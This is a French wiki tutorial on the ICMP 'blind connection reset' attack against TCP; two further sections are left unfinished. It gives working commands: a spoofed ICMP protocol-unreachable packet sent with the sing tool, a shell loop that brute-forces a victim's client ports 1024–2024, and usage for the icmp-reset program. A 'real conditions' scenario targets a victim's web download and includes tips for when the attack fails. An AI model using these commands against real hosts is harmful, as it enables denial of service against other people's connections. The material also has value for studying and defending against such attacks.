ICMP attack

De SeRoM - Wiki
Aller à : navigation, rechercher

Introduction

ICMP [RFC0792] Abréviation de Internet Control Message Protocol - Protocole de message de contrôle sur Internet) est un protocole de niveau 3 sur le modèle OSI, qui permet le contrôle des erreurs de transmission. En effet, comme le protocole IP ne gère que le transport des paquets, c'est grâce à ce protocole qu'une machine émettrice peut savoir qu'il y a eu un incident de réseau. Cependant, les specification actuelles de ce protocole ne recommande aucune sort de validation lorsque l'on recoit des ICMP error message. Cela permet d'effectuer une serie d'attaque contre le protocol TCP :

  • Blind connection reset
  • Blind throughput reduction
  • Blind performance degrading attacks.


Blind connection reset

exemple en milieu controlé

prerequis

  • netcat : que l'on connais deja : voir tuto netcat
  • sing  : un utilitaire qui permet de bien manipuler le protocole ICMP
  • ethereal : un sniffer ( pas indispensable)

Instalation : apt-get sous debian

Pour que l’opération fonctionne il faut qu'il y ai au moins un participant à la connexion qui utilise un système vulnérable. La liste des systèmes vulnérables est disponible [ici : http://xforce.iss.net/xforce/xfdb/17170]

application

nous allons tous d'abort établire une connection tcp entre 2 machine : ici nous allons utilisé netcat et un petit shell-scrypt : 123.sh

#!/bin/sh

for i in `seq 1 9999`; do
echo $i;
sleep 1;
done

une des machine jouera le role de server

 $ ./123.sh | nc -l -p 9999

et l'autre se connectera dessus :

nc <ip_server> 9999

Si la connexion est établie, netcat commencera à écrire les nombres successifs (ceux envoyés par le script 123.sh).


interruption de la connexion

Pour envoyer un paquet interrompant la connexion, il fait connaître :

   * l'adresse IP du serveur,
   * l'adresse IP du client,
   * le numéro du port du côté serveur,
   * le numéro du port du côté client. 

De ces informations, nous ne connaissons que les trois premières – nous ne savons pas quel port est utlisé par le client (c'est-à-dire netcat sur l'ordinateur qui est oqp de compté)

c'est pour cela que nous allons utilisé ethereal : nous allons regarder quel est le port de la machine client qui discute avec le port 9999 de la machine server. (quand je dis que nous n'avons pas réelment besoint de ethereal c'est parcque l'attaque ne necessite que 1 paquet icmp envoyé avec les bonne information, or il n'y a que 65535 port, si il nous manque juste le port du client, on aura vite fait de le flooder en testant tous les port :D )


Nous allons maintenant envoyer le paquet qui va casser la connection à l'aide de l'utilitaire sing :

  sing -du -x prot-unreach -psrc <port_client> -orig <ip_server> \ -pdst <port_server> <ip_client> 

Les options utilisées signifient :

   * -psrc <port_source_client> – le port source de la connexion à interrompre, c'est-à-dire le port à partir duquel sort la connexion du côté client 
   * -pdst <port_destination_server> – le port cible de la connexion à interrompre, c'est-à-dire le port sur lequel écoute netcat sur l'ordinateur server
   * -orig <ip_server> – l'adresse IP de l'ordinateur qui est un prétendu expéditeur du message ICMP
   * <ip_client> – l'adresse IP de l'ordinateur auquel le paquet est envoyé. 


voyons maintenant ce que ca donne en environnement reel

exemple en conditions réel

scénario : maintenant la victime est connecté à un certain site et telecharge par exemple un fichier.

Nous nous rappelons que pour interrompre une connexion, nous devons connaître :

   * l'adresse IP du serveur,
   * l'adresse IP du client,
   * le numéro du port du côté serveur,
   * le numéro du port du côté client. 

Nous admettons que l'intrus connaît l'adresse IP de la victime et le nom du serveur avec lequel la victime s'est connecté. nous savons que le port du coté server sera le port 80 (lorsque l'on download quelque chose sur un server web ca me parait logique ...)

voyons comment trouver le port de coté client sous windows. Windows affecte les port de la plage de 1024 à 4999. lorsqu'il s'agit de designer un port dynamiquement.


nous savons comment faire une boucle avec le shell :

 for i in `seq 1 10`; do echo number=$i; done


evidemment nous pouvons remplacer notre commande echo par sing cela donnera quelque chose de ce genre :

 for i in `seq 1024 2024`; do echo $i; \sing -du -x prot-unreach -psrc $i -orig 192.35.244.50 \-S 192.35.244.50 -pdst 80 192.168.171.136; done 

sinon pour les feneant qui veullent pas se casser la tete a faire une boucle voici un programme C : [icmp_reset http://www.gont.com.ar/tools/icmp-attacks/index.html]

qui s'utilise comme ceci :


 icmp-reset -c 192.168.0.1:1024-1100 -s 172.16.0.1:80 -t client -r 10

en cas de problèmes

Si, malgré les tentatives, vous n'arrivez pas à interrompre la connexion :

   * assurez-vous que le système attaqué est vulnérable à ce type d'attaque,
   * assurez-vous que sur le système attaqué un pare-feu n'est pas actif (il peut blouqer les paquets ICMP envoyés),
   * consultez (p.ex. au moyen d'ethereal), les paquets ICMP envoyés – leur aspect est-il correct ?
   * assurez-vous de ne pas avoir commis une faute de frappe dans une option, un numéro du port ou une adresse IP.

Blind throughput reduction

en construction

Blind performance degrading attacks

en construction